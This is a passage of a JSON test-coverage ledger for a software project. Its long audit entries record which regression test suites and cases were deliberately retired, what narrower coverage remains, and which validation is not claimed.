failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1579 removes workflow/manifest/regex/private binary-header and diagnostic metric inventories, fixture selectors, injected forwarding/platform/signature/process examples, unproven overlap and internal churn counters without equivalent replacement coverage. Retains actual Git trust/diffs; filesystem hash/ELF-region/native discovery; child CLI module repair; compiler/lock/publication/rollback and synthetic Electron install/cache ownership; executable shell quoting/exit; controlled notary/timer cleanup; local patched extractor file/AST freshness; real Chromium/WebKit CSP/sandbox/HTTPS image/referrer/link/preservation controls under parsed Android headers. Five unchanged setup-pnpm/VM request-cleanup definitions reviewed and not rerun. GitHub, installer/archive, OS metric, client, native delegate, compressor, builder and Apple boundaries injected or absent where recorded. No actual native PTY, shipped full/native app, real Actions/cache/npm signature authority, downloaded Electron archive, real objdump/linker/native CLI/AppImage, signing/NSIS/notary/upload/updater or live freeze proof. Historical scope before this audit: Published Linux 1.4.188 desktop against current source in both directions; scheduled weekly and manually runnable. No required PR check.", "motivatingLinks": ["https://github.com/stablyai/orca/actions/runs/34069063016"], "invariant": "A paired client and host without client-hosted browser capabilities retain server-hosted browser placement across supported version skew.", - "oracle": "Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent 